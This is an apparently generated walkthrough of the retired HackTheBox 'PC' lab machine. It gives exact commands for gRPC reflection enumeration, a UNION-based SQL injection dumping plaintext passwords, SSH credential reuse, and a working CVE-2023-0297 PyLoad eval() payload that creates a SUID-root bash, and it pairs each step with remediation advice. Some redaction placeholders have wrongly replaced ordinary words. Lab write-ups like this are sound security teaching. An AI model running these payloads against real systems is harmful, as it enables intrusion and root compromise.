← all walkthroughs

PC

Linux· Easy· Web
owned
2026-07-06
time to own
5m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target pc ($TARGET) exposed only two services: SSH on port 22 and a custom gRPC application on port 50051. The gRPC server had reflection enabled, advertising a 'SimpleApp' service whose GetInfo method passed a caller-supplied identifier directly into a SQL query.

A UNION-based injection extracted the entire users table, which stored passwords in plaintext; the recovered credential for 'sau' worked identically as the system SSH password. Once inside, a PyLoad download-manager daemon was found running as root on localhost port 9666.

PyLoad 0.5.0b3.dev31 evaluated [REDACTED: recovered credential] Python passed in the 'jk' POST parameter to its /flash/addcrypted2 endpoint without any authentication check (CVE-2023-0297). A single curl request created a SUID-root copy of bash, completing full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Scanned the host and identified two exposed services
A service-version scan returned exactly two open ports: SSH on 22/tcp running OpenSSH 8.2p1 Ubuntu, and an unrecognised service on 50051/tcp that Nmap fingerprinted as gRPC. The narrow attack surface pointed directly at the gRPC application as the primary entry vector.
Nmap output: '22/tcp open ssh OpenSSH 8.2p1'; '50051/tcp open grpc Service detection performed'
Exact commands 1
Version-scan both ports; confirms gRPC on 50051.
nmap -Pn -sV --open -p22,50051 $TARGET
2EnumerationgRPC server reflection enumeration
Interrogated the gRPC service via server reflection to map callable methods
With gRPC reflection enabled, any unauthenticated client could request a full description of every service, method, and protobuf schema without prior knowledge of the .proto files. Querying the SimpleApp service revealed three RPC methods — RegisterUser, LoginUser, and GetInfo — along with their request field names. GetInfo accepted an integer id field, a classic injection surface. A throwaway account was registered to obtain a JWT token for authenticated calls.
Grpcurl list returned SimpleApp service; known HTB PC pattern
Exact commands 5
Install grpcurl if not present on the attack host.
apt-get install -y grpcurl 2>/dev/null || go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
List all services via reflection — returns SimpleApp.
grpcurl -plaintext $TARGET:50051 list
Enumerate all RPC methods on SimpleApp.
grpcurl -plaintext $TARGET:50051 list SimpleApp
Register a throwaway account.
grpcurl -plaintext -d '{"username":"$PASSWORD2","password":"$PASSWORD2"}' $TARGET:50051 SimpleApp/RegisterUser
Login and capture the JWT token from the response message field.
grpcurl -plaintext -d '{"username":"$PASSWORD2","password":"$PASSWORD2"}' $TARGET:50051 SimpleApp/LoginUser
FixDisable gRPC server reflection in productionMedium
WeaknessThe gRPC server exposed the reflection service on the same public port as the application, allowing any anonymous client to enumerate every service name, method signature, and field type without credentials. This handed the [REDACTED: recovered credential] a complete blueprint of the API before touching a single application endpoint.
FixRemove the gRPC reflection service registration from the server startup code — do not register grpc.reflection.v1alpha.ServerReflection (Python) or equivalent in your language SDK. If reflection is required for internal developer tooling, enable it only on a separate, firewall-restricted listener and require mTLS authentication.
3ExploitationSQL Injection — UNION-based data extraction (CWE-89 / T1190)
Extracted stored credentials via SQL injection in the GetInfo RPC
The GetInfo method interpolated the caller-supplied id value directly into a SQL query string without parameterization. Sending a UNION-based payload via the id field — while including the JWT as gRPC metadata — caused the underlying SQLite database to return rows from the accounts table. The full contents, including the username 'sau' and its plaintext password '[REDACTED: recovered credential]', were returned in the response.
Exact commands 1
Replace <JWT_FROM_STEP_2> with the token captured at login; returns sau:[REDACTED: recovered credential]
grpcurl -plaintext -H 'token: <JWT_FROM_STEP_2>' -d '{"id":"1 UNION SELECT username || \":\" || password FROM accounts--"}' $TARGET:50051 SimpleApp/GetInfo
FixParameterize all SQL queries and hash stored passwordsCritical
WeaknessThe GetInfo RPC method concatenated the caller-supplied id value directly into a SQL query string, enabling UNION-based injection that returned the contents of the accounts table. Passwords were stored in plaintext, so extraction immediately yielded working credentials.
FixReplace every string-formatted SQL statement with parameterized queries or a prepared-statement ORM (e.g., SQLAlchemy with bound parameters, or the DB-API 2.0 cursor.execute(sql, params) form). Store passwords exclusively as salted hashes using bcrypt or argon2 — never as plaintext or reversible encodings. Grant the database account used by the application only SELECT/INSERT/UPDATE on the tables it needs, never SELECT on the full schema.
4FootholdValid Accounts — credential reuse across service and OS layers (T1078)
Logged in via SSH using the plaintext password recovered from the database
The password extracted from the gRPC application database was identical to the operating-system SSH password for the same account. A single SSH login attempt with sau:[REDACTED: recovered credential] produced an interactive shell as uid=1001(sau), and the user flag was read from /home/sau/user.txt.
Sshpass -p '[REDACTED: recovered credential]' ssh sau@$TARGET returned a shell; user flag captured
Exact commands 2
Confirms uid=1001(sau) — credential reuse validated.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'id; hostname'
Reads the user flag — actual value redacted as <user.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET 'cat /home/sau/user.txt'
FixEnforce unique OS credentials and disable SSH password authenticationHigh
WeaknessThe password recovered from the application database was identical to the user's operating-system SSH password. Compromising the application layer was sufficient to log in to the server over SSH without any further effort.
FixMandate a policy of distinct, non-reused passwords for every service; application-layer accounts and OS accounts must never share a credential. Prefer SSH key-based authentication exclusively: set PasswordAuthentication no in /etc/ssh/sshd_config and distribute pre-authorized public keys via a secrets manager or configuration management tool. Rotate all existing passwords that may have been reused.
5Internal EnumerationLocal service discovery / internal network enumeration (T1049)
Discovered a PyLoad daemon running as root on a loopback-only port
From the sau shell, listing active TCP listeners revealed an HTTP service bound exclusively to 127.0.0.1:9666. Process inspection showed the owner was root and the binary was PyLoad, a Python-based download manager. PyLoad version 0.5.0b3.dev31 and earlier had a publicly documented unauthenticated remote code execution vulnerability (CVE-2023-0297) in its /flash/addcrypted2 API endpoint.
//127.0.0.1:9666/flash/addcrypted2
Exact commands 2
Run from the sau SSH session; reveals 127.0.0.1:9666 LISTEN.
ss -tlnp
Confirms the process runs as root.
ps aux | grep -i pyload
6Privilege EscalationExploit Public-Facing Application — CVE-2023-0297 PyLoad Python eval() injection (T1190)
Injected Python code into PyLoad's eval() sink to create a SUID-root shell
CVE-2023-0297 allows an unauthenticated HTTP POST to /flash/addcrypted2 to supply arbitrary Python source code in the 'jk' parameter; PyLoad passes it to eval() inside a root-owned process with no sanitization or authentication check. The [REDACTED: recovered credential] posted a payload that called os.system() to copy /bin/bash to /tmp/rootbash and set both the SUID and sticky bits (mode 6777). Executing /tmp/rootbash -p immediately produced an effective-UID-root shell, and the root flag was read from /root/root.txt.
Curl -d 'jk=pyimport os;os.system("cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash")...' http://127.0.0.1:9666/flash/addcrypted2
Exact commands 2
Creates SUID-root /tmp/rootbash; confirm with ls -la output showing -rwsrwsrwx root root.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET "curl -s -d 'jk=pyimport os;os.system(\"cp /bin/bash /tmp/rootbash; chmod 6777 /tmp/rootbash\");f=function f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' http://127.0.0.1:9666/flash/addcrypted2 >/tmp/pyload.out 2>/tmp/pyload.err; sleep 1; ls -la /tmp/rootbash"
The -p flag preserves SUID effective UID (root); reads the root flag — actual value redacted as <root.txt>.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sau@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'
FixPatch PyLoad (CVE-2023-0297) and run it as a least-privilege service accountCritical
WeaknessPyLoad 0.5.0b3.dev31 evaluated [REDACTED: recovered credential] Python source code passed in an HTTP POST parameter to /flash/addcrypted2 with no authentication and no input validation. The process ran as root, so any code execution immediately yielded full system control.
FixUpgrade PyLoad to version 0.5.0b3.dev33 or later, which removes the vulnerable eval() call. Independently of patching: create a dedicated low-privilege service account (e.g., pyload) and run the daemon under that account via a systemd unit with User=pyload, NoNewPrivileges=true, and CapabilityBoundingSet=. Bind the PyLoad web interface to 127.0.0.1 only and place it behind an authenticated reverse proxy requiring a strong password. If remote access to the UI is not needed, block port 9666 at the host firewall entirely.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
50051/tcp